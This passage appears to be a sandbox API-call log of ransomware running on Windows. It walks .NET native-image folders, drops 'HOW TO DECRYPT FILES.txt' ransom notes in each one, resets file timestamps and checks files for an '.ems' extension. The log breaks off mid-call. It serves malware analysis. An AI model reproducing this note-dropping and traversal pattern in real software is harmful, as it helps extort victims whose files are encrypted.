[0108.047] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.048] CloseHandle (hObject=0x90) returned 1 [0108.048] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\97d05b893a063bbb5b56c7b3d20c5245\\", lpString2="Microsoft.Build.Utilities.v3.5.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\97d05b893a063bbb5b56c7b3d20c5245\\Microsoft.Build.Utilities.v3.5.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\97d05b893a063bbb5b56c7b3d20c5245\\Microsoft.Build.Utilities.v3.5.ni.dll" [0108.048] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\97d05b893a063bbb5b56c7b3d20c5245\\Microsoft.Build.Utilities.v3.5.ni.dll", pszSpec="*.ems") returned 0 [0108.048] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe95f2ded, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe95f2ded, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe9618f4d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.v3.5.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.048] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.048] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe966520e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe966520e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe966520e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="97d05b893a063bbb5b56c7b3d20c5245", cAlternateFileName="97D05B~1")) returned 0 [0108.048] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0108.049] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab2eb2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab2eb2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab2eb2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.BusinessD#", cAlternateFileName="MICROS~1.BUS")) returned 1 [0108.049] lstrcmpA (lpString1=".", lpString2="Microsoft.BusinessD#") returned -1 [0108.049] lstrcmpA (lpString1="..", lpString2="Microsoft.BusinessD#") returned -1 [0108.049] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0108.049] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.BusinessD#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#" [0108.049] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab2eb2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab2eb2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab2eb2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0108.052] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.052] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab2eb2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab2eb2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab2eb2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.052] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.052] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.052] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab2eb2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab2eb2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab2eb2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f123422e2aa28f10867d7906966f8df1", cAlternateFileName="F12342~1")) returned 1 [0108.052] lstrcmpA (lpString1=".", lpString2="f123422e2aa28f10867d7906966f8df1") returned -1 [0108.053] lstrcmpA (lpString1="..", lpString2="f123422e2aa28f10867d7906966f8df1") returned -1 [0108.053] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\*.*") returned="*.*" [0108.053] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\", lpString2="f123422e2aa28f10867d7906966f8df1" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\f123422e2aa28f10867d7906966f8df1") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\f123422e2aa28f10867d7906966f8df1" [0108.053] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\f123422e2aa28f10867d7906966f8df1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab2eb2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab2eb2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab2eb2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.055] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.055] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab2eb2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab2eb2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab2eb2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.055] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.055] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.055] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab206a70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab206a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab22cbd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa5000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.BusinessData.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.055] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.055] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.BusinessData.ni.dll") returned -1 [0108.056] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.BusinessData.ni.dll") returned -1 [0108.056] lstrcmpiA (lpString1="", lpString2="Microsoft.BusinessData.ni.dll") returned -1 [0108.056] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\f123422e2aa28f10867d7906966f8df1\\*.*") returned="*.*" [0108.056] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\f123422e2aa28f10867d7906966f8df1\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\f123422e2aa28f10867d7906966f8df1\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\f123422e2aa28f10867d7906966f8df1\\" [0108.056] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\f123422e2aa28f10867d7906966f8df1\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\f123422e2aa28f10867d7906966f8df1\\") returned="" [0108.056] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\f123422e2aa28f10867d7906966f8df1\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\f123422e2aa28f10867d7906966f8df1\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\f123422e2aa28f10867d7906966f8df1\\HOW TO DECRYPT FILES.txt" [0108.056] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\f123422e2aa28f10867d7906966f8df1\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.businessd#\\f123422e2aa28f10867d7906966f8df1\\how to decrypt files.txt")) returned 0xffffffff [0108.056] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\f123422e2aa28f10867d7906966f8df1\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.businessd#\\f123422e2aa28f10867d7906966f8df1\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.059] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.059] CloseHandle (hObject=0x90) returned 1 [0108.059] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\f123422e2aa28f10867d7906966f8df1\\", lpString2="Microsoft.BusinessData.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\f123422e2aa28f10867d7906966f8df1\\Microsoft.BusinessData.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\f123422e2aa28f10867d7906966f8df1\\Microsoft.BusinessData.ni.dll" [0108.059] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\f123422e2aa28f10867d7906966f8df1\\Microsoft.BusinessData.ni.dll", pszSpec="*.ems") returned 0 [0108.060] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab206a70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab206a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab22cbd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa5000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.BusinessData.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.060] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.060] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab2eb2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab2eb2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab2eb2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f123422e2aa28f10867d7906966f8df1", cAlternateFileName="F12342~1")) returned 0 [0108.060] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0108.060] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d6180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63a61e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63a61e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.GroupPoli#", cAlternateFileName="MICROS~1.GRO")) returned 1 [0108.060] lstrcmpA (lpString1=".", lpString2="Microsoft.GroupPoli#") returned -1 [0108.060] lstrcmpA (lpString1="..", lpString2="Microsoft.GroupPoli#") returned -1 [0108.060] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0108.061] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.GroupPoli#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#" [0108.061] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d6180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63a61e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63a61e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0108.065] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.065] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d6180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63a61e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63a61e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.065] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.065] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.065] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x635c5360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x635c5360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x635c5360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="06d363f8e85281d0f70f2c88d1a0e667", cAlternateFileName="06D363~1")) returned 1 [0108.065] lstrcmpA (lpString1=".", lpString2="06d363f8e85281d0f70f2c88d1a0e667") returned -1 [0108.065] lstrcmpA (lpString1="..", lpString2="06d363f8e85281d0f70f2c88d1a0e667") returned -1 [0108.065] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\*.*") returned="*.*" [0108.065] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\", lpString2="06d363f8e85281d0f70f2c88d1a0e667" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\06d363f8e85281d0f70f2c88d1a0e667") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\06d363f8e85281d0f70f2c88d1a0e667" [0108.065] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\06d363f8e85281d0f70f2c88d1a0e667\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x635c5360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x635c5360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x635c5360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.066] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.066] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x635c5360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x635c5360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x635c5360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.066] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.066] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.066] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d04976, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30d04976, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb48c22e8, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x61800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.GroupPolicy.Interop.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.066] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.066] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.GroupPolicy.Interop.ni.dll") returned -1 [0108.066] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.GroupPolicy.Interop.ni.dll") returned -1 [0108.066] lstrcmpiA (lpString1="", lpString2="Microsoft.GroupPolicy.Interop.ni.dll") returned -1 [0108.066] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\06d363f8e85281d0f70f2c88d1a0e667\\*.*") returned="*.*" [0108.066] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\06d363f8e85281d0f70f2c88d1a0e667\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\06d363f8e85281d0f70f2c88d1a0e667\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\06d363f8e85281d0f70f2c88d1a0e667\\" [0108.066] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\06d363f8e85281d0f70f2c88d1a0e667\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\06d363f8e85281d0f70f2c88d1a0e667\\") returned="" [0108.066] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\06d363f8e85281d0f70f2c88d1a0e667\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\06d363f8e85281d0f70f2c88d1a0e667\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\06d363f8e85281d0f70f2c88d1a0e667\\HOW TO DECRYPT FILES.txt" [0108.066] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\06d363f8e85281d0f70f2c88d1a0e667\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.grouppoli#\\06d363f8e85281d0f70f2c88d1a0e667\\how to decrypt files.txt")) returned 0xffffffff [0108.067] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\06d363f8e85281d0f70f2c88d1a0e667\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.grouppoli#\\06d363f8e85281d0f70f2c88d1a0e667\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.073] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.073] CloseHandle (hObject=0x90) returned 1 [0108.073] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\06d363f8e85281d0f70f2c88d1a0e667\\", lpString2="Microsoft.GroupPolicy.Interop.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\06d363f8e85281d0f70f2c88d1a0e667\\Microsoft.GroupPolicy.Interop.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\06d363f8e85281d0f70f2c88d1a0e667\\Microsoft.GroupPolicy.Interop.ni.dll" [0108.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\06d363f8e85281d0f70f2c88d1a0e667\\Microsoft.GroupPolicy.Interop.ni.dll", pszSpec="*.ems") returned 0 [0108.073] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d04976, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30d04976, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb48c22e8, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x61800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.GroupPolicy.Interop.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.074] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.074] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d6180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x633d6180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x633d6180, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="cd46037a39e95bc84d3694aa4d97e18c", cAlternateFileName="CD4603~1")) returned 1 [0108.074] lstrcmpA (lpString1=".", lpString2="cd46037a39e95bc84d3694aa4d97e18c") returned -1 [0108.074] lstrcmpA (lpString1="..", lpString2="cd46037a39e95bc84d3694aa4d97e18c") returned -1 [0108.074] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\*.*") returned="*.*" [0108.074] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\", lpString2="cd46037a39e95bc84d3694aa4d97e18c" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\cd46037a39e95bc84d3694aa4d97e18c") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\cd46037a39e95bc84d3694aa4d97e18c" [0108.075] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\cd46037a39e95bc84d3694aa4d97e18c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d6180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x633d6180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x633d6180, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.075] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.075] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d6180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x633d6180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x633d6180, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.075] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.075] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.075] FindNextFileA (in: hFindFile=0x502618, 